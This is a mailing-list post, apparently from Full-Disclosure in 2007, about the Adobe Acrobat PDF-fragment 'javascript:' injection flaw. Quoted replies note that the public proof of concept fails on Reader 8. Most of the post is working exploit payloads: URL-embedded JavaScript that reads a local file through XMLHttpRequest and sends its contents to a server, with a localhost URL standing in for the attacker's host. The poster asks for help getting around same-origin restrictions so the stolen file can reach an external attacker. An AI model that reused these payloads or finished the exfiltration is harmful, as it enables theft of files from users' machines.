I'm trying to put together a demonstration of this vulnerability, and how it could effect corporate security, however I'm encountering a large hangup when sending a file 'back' to the webserver, the browser same origin policy denies me the ability to send files to a different domain, which afaik is necessary for an external attacker to properly exploit this vulnerability:
<br><br>Here&#39;s the code I have so far, based more or less on PDP&#39;s<br><br>Vanilla, almost&#39; PDP&#39;s (different url, spaces removed etc.)<br><a href="file:///C:/Program">file:///C:/Program</a> Files/Adobe/Acrobat 
6.0/Resource/ENUtxt.pdf#something=javascript:function cXHR(){try{return new ActiveXObject(&#39;Msxml2.XMLHTTP&#39;);}catch(e){}try{return new ActiveXObject(&#39;Microsoft.XMLHTTP&#39;);}catch(e){}try{return new XMLHttpRequest();}catch(e){} return null;}var xhr = cXHR();xhr.onreadystatechange = function(){if (
xhr.readyState == 4)alert(xhr.responseText);};xhr.open(&#39;GET&#39;, &#39;<a href="file:///C:/Program">file:///C:/Program</a> Files/Adobe/Acrobat 6.0/ReadMe.htm&#39;, true);xhr.send(null);<br><br>What I&#39;m trying to do:
<br><a href="file:///C:/Program">file:///C:/Program</a> Files/Adobe/Acrobat 6.0/Resource/ENUtxt.pdf#something=javascript:function cXHR(){try{return new ActiveXObject(&#39;Msxml2.XMLHTTP&#39;);}catch(e){}try{return new ActiveXObject(&#39;
Microsoft.XMLHTTP&#39;);}catch(e){}try{return new XMLHttpRequest();}catch(e){} return null;}var xhr = cXHR();var xhr2 = cXHR();xhr.onreadystatechange = function(){if (xhr.readyState == 4){alert(xhr.responseText);xhr2.open(&#39;GET&#39;, &#39;
<a href="http://localhost:80/whatever.htm?content=">http://localhost:80/whatever.htm?content=</a>&#39; + xhr.responseText);xhr2.onreadystatechage = function(){alert(&#39;File Transferred!&#39;);};xhr2.send(null);}};xhr.open(&#39;GET&#39;, &#39;
<a href="file:///C:/Program">file:///C:/Program</a> Files/Adobe/Acrobat 6.0/ReadMe.htm&#39;, true);xhr.send(null);<br><br>Now, one would think that the LOCAL file operating mode of IE would allow the cross domain XHR request, however this does not work (tested IE 6) I think because by default IE disallows Javascript access on the local context.
<br><br>Try putting this is IE: <a href="file:///C:/Program%20Files/Adobe/Acrobat%206.0/Resource/ENUtxt.pdf#something=javascript:alert(&#39;lol&#39;)">file:///C:/Program%20Files/Adobe/Acrobat%206.0/Resource/ENUtxt.pdf#something=javascript:alert(&#39;lol&#39;)
</a>;<br>and then try it in FireFox<br><br>It won&#39;t work in IE 6, but it executes just fine in FireFox.<br><br>function cXHR(){ //Grabs a legit XHR.<br>&nbsp;&nbsp;&nbsp; try{<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return new ActiveXObject(&#39;Msxml2.XMLHTTP&#39;);
<br>&nbsp;&nbsp;&nbsp; }catch(e){}<br>&nbsp;&nbsp;&nbsp; try{<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return new ActiveXObject(&#39;Microsoft.XMLHTTP&#39;);<br>&nbsp;&nbsp;&nbsp; }catch(e){}<br>&nbsp;&nbsp;&nbsp; try{<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return new XMLHttpRequest();<br>&nbsp;&nbsp;&nbsp; }catch(e){} <br>&nbsp;&nbsp;&nbsp; return null;<br>}<br>var xhr = cXHR(); //For grabbing
<br>var xhr2 = cXHR(); //For sending<br>xhr.onreadystatechange = function(){<br>&nbsp;&nbsp;&nbsp; if (xhr.readyState == 4){<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; alert(xhr.responseText);<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; xhr2.open(&#39;GET&#39;, &#39;<a href="http://localhost:80/whatever.htm?content=">
http://localhost:80/whatever.htm?content=</a>&#39; + xhr.responseText); //Send it up, yo.<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; xhr2.onreadystatechage = function(){<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; alert(&#39;File Transferred!&#39;);<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; };<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; xhr2.send
(null);<br>&nbsp;&nbsp;&nbsp; }<br>};<br>xhr.open(&#39;GET&#39;, &#39;<a href="file:///C:/Program">file:///C:/Program</a> Files/Adobe/Acrobat 6.0/ReadMe.htm&#39;, true);<br>xhr.send(null);<br><br>Anyone&#39;s input on this matter would be appreciated.
<br><br><div><span class="gmail_quote">On 1/4/07, <b class="gmail_sendername">Juha-Matti Laurio</b> &lt;<a href="mailto:juha-matti.laurio@netti.fi">juha-matti.laurio@netti.fi</a>&gt; wrote:</span><blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">
Additionally, the public PoC doesn&#39;t work on Preview version 3.0.8 (409) on OS X 10.4.8.<br><br>- Juha-Matti<br><br>Larry Seltzer &lt;<a href="mailto:Larry@larryseltzer.com">Larry@larryseltzer.com</a>&gt; wrote:<br>&gt; &gt;&gt;&quot;According to public reports, this vulnerability is addressed in Adobe
<br>&gt; Acrobat Reader 8.0.&quot;<br>&gt;<br>&gt; I&#39;ve actually tested it. On Reader 8 Acrobat you get a messagebox that<br>&gt; says &quot;This operation is not allowed&quot;<br>&gt;<br>&gt; Larry Seltzer<br>&gt; eWEEK.com
 Security Center Editor<br>&gt; <a href="http://security.eweek.com/">http://security.eweek.com/</a><br>&gt; <a href="http://blog.eweek.com/blogs/larry%5Fseltzer/">http://blog.eweek.com/blogs/larry%5Fseltzer/</a><br>&gt; Contributing Editor, PC Magazine
<br>&gt; <a href="mailto:larryseltzer@ziffdavis.com">larryseltzer@ziffdavis.com</a><br><br>_______________________________________________<br>Full-Disclosure - We believe in it.<br>Charter: <a href="http://lists.grok.org.uk/full-disclosure-charter.html">
http://lists.grok.org.uk/full-disclosure-charter.html</a><br>Hosted and sponsored by Secunia - <a href="http://secunia.com/">http://secunia.com/</a><br></blockquote></div><br>